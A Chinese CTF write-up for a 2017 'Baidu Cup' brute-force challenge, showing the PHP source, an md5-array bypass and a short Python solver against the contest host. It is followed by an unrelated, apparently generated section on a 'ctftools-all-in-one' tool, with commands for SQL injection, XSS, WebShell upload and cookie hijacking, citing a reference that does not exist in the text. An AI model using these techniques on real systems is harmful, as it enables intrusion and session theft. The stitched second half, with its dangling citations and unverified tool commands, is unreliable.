“百度杯”CTF比赛 2017 二月场 爆破-3

进入题目,题目源码:

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

我审计10分钟,看了30分钟竟然没想出来怎么解,是真的蠢。看了下WP,写个脚本就爆破出来了。脑子太笨了,反应太慢。做的题目还是少。

题目意思就是一开始nums为0,接收的value变量,要满足value数组的前两个数和whoaimi变量相同并且md5加密后的value变量为0(这个可以用MD5无法处理数组的漏洞)

也就是第一次,传入变量?value[]=ea,因此value[0]=ea    与whoami想等,所以nums++   (如果value[]=ea&value=es的话,value[0].value[1]=eaes)

然后随意A-Z+A-Z,写个脚本,把显示出来的两个随机衣服在value[]=xx传值进去,直到输出flag   (千万注意带 session,保持一个回话)

上脚本:

import requests
url='http://5aff2966a9bc42598f68a1f03a7c5ec962143d7178324b4c.changame.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
    html=session.get(url+'?value[]='+ html[0:2]).text
print(html)

 

转载于:https://www.cnblogs.com/BOHB-yunying/p/10604292.html

CTF比赛中,使用 `ctftools-all-in-one` 工具可以帮助选手快速定位问题、自动化测试以及提高解题效率。该工具集成了多种Web类题目常用的插件和功能,能够应对常见的漏洞检测与利用景,如SQL注入、XSS、文件包含、目录扫描等。 ### 使用 `ctftools-all-in-one` 解决 Web 类题目的方法 #### 1. **环境准备** 确保你已经下载并安装了 `ctftools-all-in-one` 工具包,同时具备 Python 环境支持。通常该工具依赖于 Python 3 和一些第三方库,例如 `requests`、`BeautifulSoup`、`lxml` 等。 ```bash pip install requests beautifulsoup4 lxml ``` #### 2. **基础扫描功能** `ctftools-all-in-one` 提供了基本的网站扫描功能,可以用于发现隐藏路径、备份文件、常见配置文件等。 ```bash python ctftools.py dirscan -u http://example.com ``` 此命令将对目标网站进行目录扫描,识别 `.git`、`.DS_Store`、`robots.txt`、`backup.zip` 等敏感资源,适用于像引用[4]中提到的源码泄漏情况 [^4]。 #### 3. **SQL 注入检测** 该工具内置 SQL 注入检测模块,可以自动探测是否存在注入点,并尝试提取数据库信息。 ```bash python ctftools.py sqli -u http://example.com/login.php --data "username=admin&password=123" ``` 此命令会对登录接口进行 POST 请求注入测试,适用于 Web 类题目中常见的登录框绕过或数据库信息获取景 [^4]。 #### 4. **XSS 漏洞检测** 对于存在用户输入输出的页面,如留言本、评论框等,`ctftools-all-in-one` 可以自动探测 XSS 漏洞。 ```bash python ctftools.py xss -u http://example.com/submit.php --data "comment=test" ``` #### 5. **文件上传漏洞检测** 该工具支持检测是否存在可利用的文件上传漏洞,并尝试上传 WebShell。 ```bash python ctftools.py upload -u http://example.com/upload.php --file shell.php ``` #### 6. **Cookie 注入与会话劫持** 通过设置自定义 Cookie 或模拟登录,可以尝试进行会话固定、越权访问等操作。 ```bash python ctftools.py cookie -u http://example.com/dashboard.php --cookie "PHPSESSID=abc123xyz" ``` #### 7. **结合实战案例分析** 在实际 CTF 比赛中,Web 题目往往需要综合运用多个技巧。例如,在引用[4]中提到的 `.DS_Store` 泄漏事件,可以通过以下命令检测: ```bash python ctftools.py dsstore -u http://example.com/.DS_Store ``` 该命令将解析 `.DS_Store` 文件内容,提取出可能存在的源码路径,进而下载源码进行审计,寻找 flag 所在位置 。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值